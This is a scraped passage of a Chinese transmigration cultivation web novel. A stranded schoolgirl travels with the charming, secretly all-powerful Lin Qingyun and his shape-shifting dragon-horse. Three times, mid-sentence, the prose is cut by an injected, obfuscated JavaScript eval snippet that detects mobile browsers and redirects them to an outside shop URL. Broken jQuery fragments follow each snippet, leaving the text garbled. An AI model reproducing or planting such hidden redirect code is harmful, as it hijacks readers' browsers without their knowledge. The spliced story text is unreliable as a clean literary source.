荷濯茗目光又挪回烤鸟身上,“啊,这样……谢谢烤鸟……不是!那个……谢谢你青云——青云你真是大好人……我会一直记得你的恩情的……” 烤鸟变得不那么烫了,荷濯茗忙着吃东西,暂时空不出嘴巴来答谢男主。 林青云慢悠悠转动木枝继续烤鸟,也不管荷濯茗的嘴巴根本没空说话,自顾自的问:“你之前不是说,你是被——‘棠溪雨’……骗来这里的,你父母现在应该急着到处找你。” 荷濯茗‘嗯嗯’了两声算是回答。 林青云:“那你何必去投奔什么亲戚,直接回家找你父母岂不好?” 这句话刚好问到荷濯茗最伤心的地方,一时间嘴里的烤肉也不香了,她握着木棍呆愣几秒,眼泪争先恐后流出来。 荷濯茗抽泣了两声,呜呜咽咽道:“我、我也想我爸妈呜呜呜……我好想回家……呜呜呜……我不知道要怎么回去,我,我都不知道我是——呜呜呜——怎么到这里来的——” 她越哭越大声,四周又都是坟包,断断续续的哭声给乱葬岗平添些许气氛。 林青云把自己衣袖扯出来,往她脸上擦了擦。 但荷濯茗哭起来简直没完没了,把他袖子都湿透了,也不见她眼泪减少。 林青云看一眼自己湿透的袖口,换了另一只袖子继续给她擦脸。 他当然有很多种办法把自己的衣袖弄干。因为不管荷濯茗有多能哭,她毕竟只是一个人,只有两只眼睛,所流的眼泪十分有限;那点泪水,林青云可以轻易的将它从自己衣服上剥离出来,然后随便洒在哪个坟包上。 但他没有这样做。 湿透的布料贴着林青云手腕,他感觉荷濯茗的眼泪好似要比他的皮肤更有温度。 林青云柔声宽慰她:“没关系,你现在不是有我吗?你把前因后果和我讲讲,说不定我能帮你想出办法。” 这样就能搞清楚小荷到底是在什么地方长大,养出这么笨的脑子的了。 荷濯茗一把捉过林青云手臂,在他还算干净的那只袖子上狠狠一蹭,擦干净残余的眼泪。 她那一下蹭得太用力,整张脸从林青云手腕蹭到他掌心。 林青云的手指不自然的抽动了一下,手腕中间连接手指的那根经脉骤然扯紧——掌心被另一个人的温度烫到,他有片刻的疑惑。 无法理解那一瞬间尖锐的麻痹感,好似掌心被雷灵根的敌人打了一巴掌。 荷濯茗借用林青云的衣袖擦干净了脸,也没察觉他指尖轻微的抽搐,道:“我家在很远很远……我暂时还不知道有多远,总之就是非常远的地方。” ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17357652|199530||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' “自从来到这里之后,我的记忆就出现了问题,很多以前的事情我都记不清楚了,也不记得我是怎么到这个地方来的。我一到这里,就遇见了那个恶毒反派……那个棠疏雨!被他骗来这里卖了。再之后,我就遇见你了。” 荷濯茗没有对林青云说出自己是穿越的这件事情——她直觉穿越是自己最大的秘密,就连刚来到这里,被恶毒反派少年版骗得团团转那会儿,荷濯茗都死死守着这个秘密没有说出来。 提到恶毒反派,荷濯茗心头一股无名怒火越烧越旺,顶着一双哭得红通通的兔子眼,一拍身边林青云大腿,咬牙切齿:“那个小赤佬!臭猪猡!他还把我书包给抢走了!” 林青云大腿被拍出‘啪’的一声,他像是没有感觉似的,接话继续问:“你还记得你是在什么地方遇见那个棠疏雨的吗?” 穿越之后发生的事情,荷濯茗每一件都记得十分清楚,肯定的回答:“我记得!是一个叫文县的地方——我看见过入口处的刻字石碑!” 林青云讶异:“你识字?” 因为小荷说话经常前言不搭后语,他还以为小荷可能是半个弱智。 荷濯茗抬头挺胸十分骄傲:“我还是先进少先队员呢!” 林青云听不懂,但笑笑夸赞她:“真是太厉害了——” 荷濯茗:“我还会三门外语!” 林青云:“鸟语龙语虫语?” 荷濯茗:“不,是英语法语日语。” 林青云听不懂,但依旧捧场:“小荷,真看不出来,你竟如此聪慧过人。” 荷濯茗被夸得心里轻飘飘,脸上泪痕还没干,就不禁露出个笑脸来,笑得眼睛弯弯的。 因为她在笑,故而林青云看着她的脸发了会呆。 但林青云很快回过神来,道:“文县这个地方我知道,我在进山时还曾经经过这里——我们出山之后,可以去那里转转,说不定能找到你出现在那里的原因,以及……” 他笑容陡然变得更加灿烂起来,声音轻快愉悦:“抓住那个骗了你的‘棠疏雨’,给他一点教训。” 荷濯茗也很想打那瘪三一顿,但是想到模糊的原著记忆里,棠疏雨仿佛是一个戏份很重的反派——前期男主连和他碰面的资格都没有,甚至到了中期才知道他的名字。 因为恶毒反派就是这样的!阴险狡诈!狡兔三窟!善于隐藏!满口谎言! 荷濯茗担忧道:“你打得过他吗?他好像……好像蛮厉害的,是个修为不低的修士。” 她遇见的反派都还是少年体,那现在的男主岂不是更弱?但是—— 荷濯茗看着一旁烤鸟的林青云,又觉得他怎么看都挺强的,而卖她都需要用骗的少年反派,则又好像没有书本里写的那样强。 这种奇怪的落差把荷濯茗搞迷糊了。 林青云将新烤好的野鸟递给她,笑眯眯道:“有什么关系?我们先偷偷观察一下情况,打得过再打,打不过我们就偷偷跑掉,我有很多逃跑的小妙招,以后有机会教给你。” 7.失策 荷濯茗大为感动,泪眼汪汪接过烤野鸟,望着林青云道:“青云……你人真的好好……” 林青云笑笑,提醒她:“烤鸟已经不烫了,你可以直接吃。” 荷濯茗摸了一下,大为惊奇,“真的耶!为什么啊?” 林青云:“为什么?我不知道耶——” 他说话时笑笑的,脸偏向荷濯茗,看她高兴的撕下翅膀吃,油脂染得她嘴唇亮晶晶的。 烤肉自然不会在刚烤好时就变成适合入口的温度,但是林青云可以让它变成适合入口的温度。 他观察着荷濯茗的反应:不管是被烫到咬手指,还是撕烤肉,都怪有意思的。 荷濯茗:“你怎么不烤了?” 林青云反问:“你还要吃?” 荷濯茗:“你不吃吗?” 林青云道:“我辟谷了,不会饿的。” 荷濯茗闻言,掰骨头的动作慢了下来,藏不住心事的脸上露出了明显在思考的表情。 她一时不说话,林青云也不着急,用木枝戳了戳篝火,将火焰拨得更旺。 四周的新坟都十分寂静,畏惧于他的存在,连一丝幽冷的阴气都不往外冒。 荷濯茗掰了会骨头,下定决心,问:“青云,你们门派还收新弟子吗?” 林青云:“你知道我是哪个门派?” 荷濯茗:“我看见你的门派腰牌了。” 林青云思索片刻,恍然大悟——他从腰间解下那枚木牌,托在掌心,火焰的光影在木牌表面上晃动,显得上面那些海棠花图案越发动人。 林青云手掌一翻,令木牌朝向荷濯茗那边,“小荷,可是上面没有写门派名字哦——” 荷濯茗:“……” 失策。 但马有失蹄,人有失手,男主是好人,所以问题不大。 荷濯茗心虚的不同他对视,说:“其实是看你名字认出来的……” 她的话还没有说完,林青云伸手摁住她头顶,将她脑袋转向自己。 一时间目光避无可避,荷濯茗对视上他笑盈盈的脸。她不禁垂了视线,没敢直视他眼睛,转而去看林青云脖颈——他脖颈上斜铺着下颚的阴影,青筋形态隐约,喉结倒是很明显。 林青云声音仍旧是一贯的柔和轻快,提醒荷濯茗道:“都说了,跟我说话的时候要看着我啦!” 荷濯茗掰开他按在自己头顶的手:“知道了知道了——你下次用说的提醒我就好了,不要老是转我脑袋,很怪唉!” 林青云很爽快的答应:“好嘛。” 他说话喜欢加语气词,语调又软,多聊几句便像是在撒娇,但是那样的说话语调和他长相居然一点也不违和。 荷濯茗这两天和他说话,听习惯了他的语气词,也不觉得哪里不对——甚至于因为林青云说话的语调很像撒娇,让她时常觉得对方是一个好说话的人,而无法意识到林青云喜欢直接转人脑袋强迫对视的行为,本质上是一种从未被人违逆过的肆意无礼。 “不过,我居然这么有名吗?小荷一看见刻着我名字的腰牌,就认出我了噢?” 荷濯茗被问得心跳都变快了,努力回忆原著里面男主的名气究竟大不大——没办法确定,好像在刷了几个副本之后是小有名气的,但是现在的男主属于哪个时间段? 她的目光因为心虚,不禁又往下挪了挪,变成只盯着林青云衣襟,小声道:“就,就是,听到路人讨论过……说你是名门正派的得意弟子——之类的。” 她记得原著男主确实拜入了一位正神门下,只是记不清是哪个正神了。 火光烧得荷濯茗脸上发热,她实在不擅长撒谎,在最后一个音节虚弱的消失于唇齿间时,她无意识的又把脸转过去了。 林青云看见她凌乱乌发间红得几乎要滴血的耳尖,因为不安而微微发抖的唇瓣。 倏忽间,他对继续逼问失去了兴趣。 欺负小荷没什么意思,多问几句她说不定又要哭。 林青云站起身来,道:“天色不早了,我们回去休息吧——你想修炼的话,不必拜入门派,我可以直接教你,明天就教。” 荷濯茗又惊又喜:“可以吗?” 林青云垂眼望着她红扑扑的脸,轻轻一笑:“当然可以,这不过是一点小事。” 一点小事就能令小荷开心—— 林青云熄掉那丛篝火,两人一前一后的穿过稻田。 晴朗的夜晚,月光亮得像镜面唇釉,涂抹在田埂上。空气里有一种灌满了温水的热,蝉鸣和虫叫就在这层温水里荡开涟漪。 荷濯茗因为没有走过土路——尤其是现在还在夜晚——所以她走得很慢,又有些跌跌撞撞。但好在林青云走得也不快,荷濯茗每回抬起头来,总能看见他就走在自己前面三步远的地方。 有几只萤火虫从稻田里飞出来,从荷濯茗与林青云间隔的那三步里飞过去。 他左耳处垂下的耳坠晃动着闪光,总勾引着荷濯茗的视线——就像被红外线吸引的猫。 他们正好端端的走着,忽然远处黑黝黝山林里传出一声极具穿透力的,野兽的长啸。 荷濯茗吓得贴到林青云身后,抓住他胳膊:“什么声音?!” 林青云伸手往她身前护了一下,转头往山林那边看,道:“野兽 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17361233|199530||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 吧。” 荷濯茗大睁着眼睛,“野兽?什么野兽?” 林青云:“蛇啊蚯蚓啊之类的。” 他说话很不着调,却反令荷濯茗变得不那么害怕了。 她往林青云小臂上打了一下,“胡说八道,蛇和蚯蚓根本不会叫——” 林青云冷不丁用手指往荷濯茗后脖颈上一碰,故意发出蛇的‘嘶嘶’声;果不其然,荷濯茗马上吓得跳起来,差点跳进一旁的稻田里去。 林青云大笑,边笑边拽住荷濯茗手臂,把她拉到自己面前:“别怕别怕——我逗你玩的。蛇就是会嘶嘶叫的嘛。” 荷濯茗吓得眼泪汪汪,气得一巴掌拍到林青云手背上。 林青云被打了也没松开她手臂,笑眯眯晃了晃她的手臂:“不要生气呀,我想让你放松下,别那么紧张而已。” 荷濯茗用手背抹了抹自己眼睛,闷着脸不想理他。 他仍旧拉着荷濯茗手臂,半弯腰把脸凑近,笑盈盈的唇畔浮着两个对称的梨涡。 “要不然这样,嗯——我帮你实现一个心愿,怎么样?” 荷濯茗看了会他的脸,撇撇嘴,故意又把头转过去,道:“我没生气了。” 林青云闻言,立刻松开了她手臂,并很明显的松了口气:“呼——那就好。” 荷濯茗:“但是心愿还算数吧?” 林青云点头:“算数算数,你许吧。” 荷濯茗想了想,道:“我现在还没想到,等我想到了再告诉你。” 林青云很热情的给她提出建议:“你不是想要回家找你爸爸妈妈吗?可以许愿让我送你回家呀。” 荷濯茗摆手:“那个很难,你做不到的啦!” 林青云不满:“你都没有试过,怎么知道我做不到?我还是蛮厉害的唉!” 荷濯茗:“根本就不用试,我就是知道。” 谁让这是一本升级流小说,男主要到大结局打败终极恶毒反派棠疏雨后,才会成为最强。 现在的男主连最强都不是,怎么可能有办法把她送回家? 两人边说话边走路,刚刚发出野兽长啸声的山头渐渐被他们抛在后面。荷濯茗忙着应付林青云,一直忘记回头看——如果她此刻回头,就能看见一头青白色的龙从山头夜空中摆尾而过。 回到农舍,荷濯茗闻了闻自己身上一股泥土混合血液的气味,决心再洗个澡。 柴房里还堆着她昨天换下来的脏衣服——荷濯茗在打水时向林青云请教,有没有可以让脏衣服瞬间变干净的法术。 林青云理所当然道:“衣服穿完扔掉就好了,干嘛要让它变干净?” 8.心事 因为荷濯茗没有新衣服,所以林青云又借了她一套——仍旧是红色,就连款式也不大变化,荷濯茗怀疑他是不是有很多套一模一样的衣服。 林青云说他有的是衣服,让荷濯茗把穿过的衣服直接扔掉就是。如果荷濯茗想节约,重复穿旧衣服,那就得自己想办法洗衣服,因为他不会清洁衣物的法术,也没有洗过衣服。 荷濯茗立刻就接受了林青云借给她的衣服;因为她也没有洗过衣服。 这里都没有洗衣机,也没有洗衣凝珠,荷濯茗想不出来要怎么把衣服变干净。 柴房的门窗都关上了,林青云背对着柴房的窗户,重新将院子中央那堆木枝点燃。 一条青白色的龙从天际落下,庞大身体在接近地面时化作一匹俊美高大的青骢马——青骢马慢悠悠走到林青云身边,张嘴往地上吐出一团黑漆漆的残魂,口吐人言:“秽神的残党,都在这里了。” 秽神身边必然会有一群拥护它的随从,就跟正神身边总有追随者一样。 林青云没有弯腰捡垃圾的习惯,小腿一动,将那团残魂踢进篝火里,残魂立即被烧得惨叫连连,但惨叫声却只能在林青云同青骢马附近三步以内打转,无论如何也传不出去。 烧完残魂,他又往地上扔了一样东西:是白日里还挂在他腰间的木牌,几个时辰前他还很喜爱,现在却又像扔垃圾一样将其抛在地上。 木牌在地面滚了几下,上面的刻字和花纹都沾上泥土,最后又被青骢马的马蹄踩住。 林青云卷起衣角擦手,语气淡淡的问:“这个牌子是哪来的?” 青骢马低声:“三个月前,您帮一个年轻人实现了愿望——您当时心情很好,从他身上拿走了这个腰牌作为交换。” 林青云微微歪着脑袋,蹙眉疑惑:“有这回事?” 青骢马肯定道:“有。” 林青云发了会呆,仍旧没有想起来。不过想不起来也很正常,他本来就是记性很差的人,他偶尔会一口气见几千几万个人,聆听他们的心愿,也会突然一个人跑到这种方圆十里都买不到一根糖葫芦的地方演死人。 一切都凭他心情。 他无所谓道:“烧了吧。” 青骢马前腿屈膝轻轻一踢,那枚木牌打着滚,滚进篝火堆里。那堆看起来平平无奇的篝火,实则温度高得可怕,连鬼魂都可以灼烧,木牌刚靠近,就被烧成飞灰,卷在气流里四散,一点痕迹都没有留下。 林青云忽然又道:“你下次打架的时候不要发出声音,吵死了。” 青骢马并不问原因,习惯而顺从的应下这句无礼要求:“好。” 过了一会,荷濯茗洗完澡,拧着头发从柴房里跑出来,“青云青云青云——帮我弄一下头发!” 林青云直到她喊自己,才肯转过身来看她:她的头发只长过肩一点点,被攥在她掌心里,稀里哗啦的顺着她手腕往下淌水。 他伸手,手指穿入荷濯茗湿漉漉的发间。 湿透的发丝像小蛇缠在他皮肤上,但随着水珠一滴一滴被分离出去,他指尖触碰到的头发变成了蓬松的,轻飘飘的。 他垂下眼,微笑的表情,目光从荷濯茗头发扫到她脸上:她刚洗过澡,脸上很湿润,眉眼间有些困乏。 她看见卧在一旁的马,惊奇道:“它又自己跑回来了啊?” 林青云:“我说过的,它自己会认路嘛……头发好了。” 夏夜太热,荷濯茗披散着头发,用手指梳了两下,很快就感觉自己被头发盖着的后脖颈在冒汗。 她问林青云:“你有没有发带?绑头发的,借我两根。” 林青云就像之前掏出馒头一样,手腕一翻,也没摸包里,掌心便多了两条赤红色的发带。 发带很柔软,上面还有金线绣的海棠花。但荷濯茗认不出金线,以为就是普通的亮晶晶的线,所以她借走这两样东西毫无心理负担,还同林青云说:“你是不是很喜欢红色?” 林青云笑了笑,道:“红色喜庆。” 这里没有镜子,荷濯茗也不大会绑头发,摸索着将头发分开左右,各绑一个敷衍的低马尾了事。 实际上两个马尾都绑偏了,一个高了点,一个低了点,一个太往前,一个又太往后——还有一些碎短发没梳到,就那样乱糟糟翘着,落下毛茸茸的阴影在荷濯茗额头上。 她看不见,就不糟心,坐在篝火边抱住自己膝盖,很长的叹气。 林青云也学她,长长的叹一口气。 荷濯茗:“青云,你心里有什么烦心事吗?” 林青云:“没有。” 荷濯茗:“那你叹什么气?” 林青云偏过头看了她一眼,然后把她的坐姿也学去,抱着膝盖缩成一团,道:“所以小荷你有烦心事吗?” 荷濯茗沮丧的把下巴靠到自己膝盖上,说:“我的烦心事那可太多了——我想回家,我作业都还没写,快要期末考了,我不想缺考,我都不知道我还能不能回去……万一我要是永远回不去了怎么办?” 林青云想了想,道:“那你就只能留下来了。” 荷濯茗听得一呆,眼泪先流了出来。 林青云见状,只好又扯出自己的袖子,来给荷濯茗擦眼泪,用他一贯柔和似撒娇的语气抱怨:“小荷,你怎么老是哭?” 荷濯茗吸了吸鼻子,很委屈:“我又不是自己想哭的,是……都是你惹我哭的!谁让你说什么留下来——都怪你!” 林青云被骂得莫名其妙,道:“你不爱听实话吗?那我以后都说假话给你听好了,你不要哭了,去好好的睡一觉,等你明天睡醒,肯定就已经在自己家里面了……” 荷濯茗生气的推开他手,“你不要跟我说话了!” 实际上荷濯茗不应当跟林青云生气的——林青云救过她,还答应明天就教她修炼,林青云是她穿越过来遇到的头一个好人…… 但荷濯茗生气的时候想不到这么多,转身拿背对着林青云,心想自己在消气之前都不要跟林青云说话。 林青云绕到她面前蹲下,仍旧用袖子去擦拭她脸上的泪痕——没擦到,手臂再次被荷濯茗拍开了。 她拍开林青云右手,林青云就伸左手,她拍开林青云左手,林青云就马上伸右手;他伸手速度不快,每回都恰好让荷濯茗能打得到。 两人推太极似的打了一圈下来,荷濯茗烦了,直接抓住林青云的两只手。 林青云笑嘻嘻的捧场道:“怎么这么厉害?给我两只手都抓住了。” 荷濯茗瞪着他,瞪了一会,眼眶发酸,忍不住也笑了。 她松开林青云的手,自己胡乱抹了抹脸,擦干净上面的泪痕,嘟囔:“搞什么嘛……” 林青云:“你笑了。” 荷濯茗把脸扭开,轻轻哼了一声,却没反驳林青云的话。 林青云又安慰她:“其实我之前说的也不完全算是假话——你是突然出现在文县的,说不定我们去转一圈,就给你找到回家的办法了。” 这句宽慰很奏效,当天晚上荷濯茗就梦见自己从文县回到了现代。 但是因为在小说世界里滞留了几天,等她回到现代时就直接开始期末考了——第一科就考化学,她好多题都看不懂,急得直冒汗。 第一页还没有写完,她就听见老师喊收卷,终于忍不住哭了起来;哭着哭着,荷濯茗哭醒了,看见农舍黑漆漆又挂着蜘蛛丝的屋顶,愣了好一会才反应过来自己还没回家。 床边的窗户被人从外面敲得哐哐响,荷濯茗爬起来推开窗户,被外面的大太阳刺得眯起眼睛。 只见林青云已经穿戴整齐站在窗户外,一只手撑在窗户边上,笑盈盈的招呼荷濯茗出来。 他们今天就要离开村子,出山去文县找一找线索。 荷濯茗把那件红嫁衣折成一个布包系在身上,里面叮叮当当装着她的金子和珠子。 她把自己的头发重新绑了一遍,给自己编了两个歪歪扭扭的麻花辫。虽然没有镜子,但是荷濯茗知道自己头发一定编得不怎么样。 因为平时都是妈妈给她编头发的。 想着想着,荷濯茗又很想哭了,但是想到自己今天起床还没有喝水,她忍住了没哭。 早饭是白煮蛋,林青云不知道从哪里掏来的鸡蛋。荷濯茗忙着伤心自己的头发,吃饭也吃得食不知味,根本没空关心他从哪里掏的鸡蛋。 林青云还在心里想了好几套说辞——有比较平平无奇的,有肯定能逗得小荷骂他的,也有能吓哭小荷的…… 然而直到吃完饭,荷濯茗也没跟他说话,神色看起来也有点恹恹的。 林青云很怀疑她是不是又中暑了,故而伸手去摸她额头。 荷濯茗疑惑的看着他——林青云自言自语:“也没中暑啊。” 荷濯茗:“我又没有晒到太阳,要怎么中暑?” 林青云:“啊,对了!我弄了这个!” 中暑的话题提醒了林青云,他眼睛亮亮的吹了声口哨,青骢马慢悠悠从不知道什么地方冒了出来,走到两人面前。 青骢马身上仍旧是之前那身装备,但脑袋上多出来一顶竹编帽子。 林青云将那顶帽子扣到荷濯茗头上,笑眯眯道:“这样就不怕中暑了。” 竹编帽的阴影将荷濯茗整张脸都盖住,一股竹子的清香味也将她盖住。 林青云盯着她,却并没有见她为这顶竹编帽笑一下。她只是用两只手扶着帽檐,将竹编帽角度调整得更舒服了一些,但脸上表情却仍旧是恹恹的懒懒的 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17365028|199530||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 。 不过荷濯茗还是很礼貌的同他说:“谢谢你啊,帽子好好看。” 林青云一下子也觉得好没意思,嘴角笑意淡了,应道:“我给青阳编的,先借你戴,免得你再中暑。” 荷濯茗:“噢……那也谢谢你。” 青骢马立在两个人旁边,尽职尽责的扮演一匹马,绝不流露出丝毫自己不平凡的地方,也不去打探主人对待凡人少女的任何想法。 即使那顶竹编帽跟它的脑袋一点也不契合,完全只能给荷濯茗戴,青骢马也不会对林青云说出口的话有任何异议。 因为它的主人是一个随心所欲,性格像皇帝一样糟糕的人,拆穿皇帝的假话很容易被处死。 林青云抓住辔头缰绳拽了下,对荷濯茗道:“山路很难走,你坐马上吧,我帮你牵着绳。” 荷濯茗:“你不坐吗?” 林青云摇头:“青阳背上一次只能坐一个人,我坐上去的话就得换你下来牵绳了。” 先不说荷濯茗牵不牵得住这匹马,光是走那些人迹罕至的陡峭山路,要她从头到尾都不摔一下,也实在是为难她的事情。 荷濯茗老老实实的爬到马背上坐好,林青云牵着缰绳往外走——出村还要经过那片稻田,远处的农舍寂静林立,太阳晒得树叶都在发亮,又热又晃眼睛。 林青云折下一支绿色稻穗,把它插在青骢马的辔头上。 荷濯茗问:“这是什么草?” 林青云:“这是稻穗,会结出稻谷来的——就是大米。” 荷濯茗捏住一撮生青的谷子观察,怎么看都觉得它不像大米。在林青云说这是稻穗之前,她一直以为这是芦苇之类的野草。 村庄渐渐被抛到身后,路况也以肉眼可见的程度变得越来越难走,以至于荷濯茗即使坐在马上,也忍不住紧紧抓住马脖子上的鬃毛。 而步行的林青云却轻快得如履平地。 骑马并不舒服,尤其是在山路格外陡峭的情况下;即使荷濯茗并不需要控马,也感觉自己屁股快要被颠麻了。 她实在忍不住了,趴在马脖子上,看着林青云后脑勺,问:“我们什么时候才能走出山去啊?” 林青云回答:“按照这个速度,还得走五天。” 荷濯茗声音一下子提高了许多:“五天?!” 林青云:“对,五天。” 荷濯茗反手捂住自己尾巴骨,哭丧起脸:“不行不行,五天,我的屁股会变成四瓣……不,变成八瓣。” 林青云回头看她,只见竹编帽阴影里一张白惨惨汗津津,无精打采的可怜脸。 荷濯茗可怜兮兮的问:“就没有更快的办法吗?就,能不能直接飞出去啊?” 因为原著剧情在她脑海中变得越来越模糊的缘故,荷濯茗已经不记得原著男主会不会飞了。但一般修仙小说里面,肯定都能飞吧? 武侠剧里还有轻功呢。 林青云仰起脸,笑得甜甜的,说出口的话却是:“飞?我不会唉。不过小荷你好好修炼,等你以后修成了神仙,倒是可以带我飞一下试试。” 荷濯茗撇撇嘴,很不情愿:“我才不要。” 林青云:“不要这么小气嘛,我对你不是挺好的吗?” 荷濯茗解释:“我不是不要带你啦,我是说我不会修成神仙的——等我回到家,我就不学修炼了。” 林青云疑惑:“为什么?” 荷濯茗:“为什么……没有为什么呀!我都回家了干嘛还要修炼?我的理想又不是当神仙,我以后是要当小学校长的。” “修炼什么的就只是暂时练练,能保护我自己就行啦,如果有得选的话,我才不要打打杀杀。” 林青云:“小学校长?” 荷濯茗想了想,解释:“用你们这里的话来讲,就是学堂老板……古代管老板叫什么?掌柜?创始人?投资人?好像都不对……” 她越说话声音越小,最后变成自言自语的嘟囔。但即使如此,林青云还是听清楚了她说的每个字。 听清楚了但听不懂。 到了傍晚,他们在一条浅溪边停下休息。 青骢马低头喝水,林青云在起篝火,荷濯茗则在溪边走来走去,活动自己坐了一天的屁股。 傍晚的太阳已经不晒,她便将竹编帽摘下来戴到青骢马头上,自己则凑去林青云旁边:林青云手上拿着一把短匕首,正在削一根手腕粗细的木棍。 荷濯茗半蹲下来,问:“这是什么?要来串烤肉吗?” 林青云笑笑,道:“你不是想要修炼?我做一柄木剑给你,先教你入门。” 一听是给自己做的,荷濯茗立刻变老实了,也不到处走来走去的捡石子扯野草的闲逛了,坐到林青云旁边看他干活。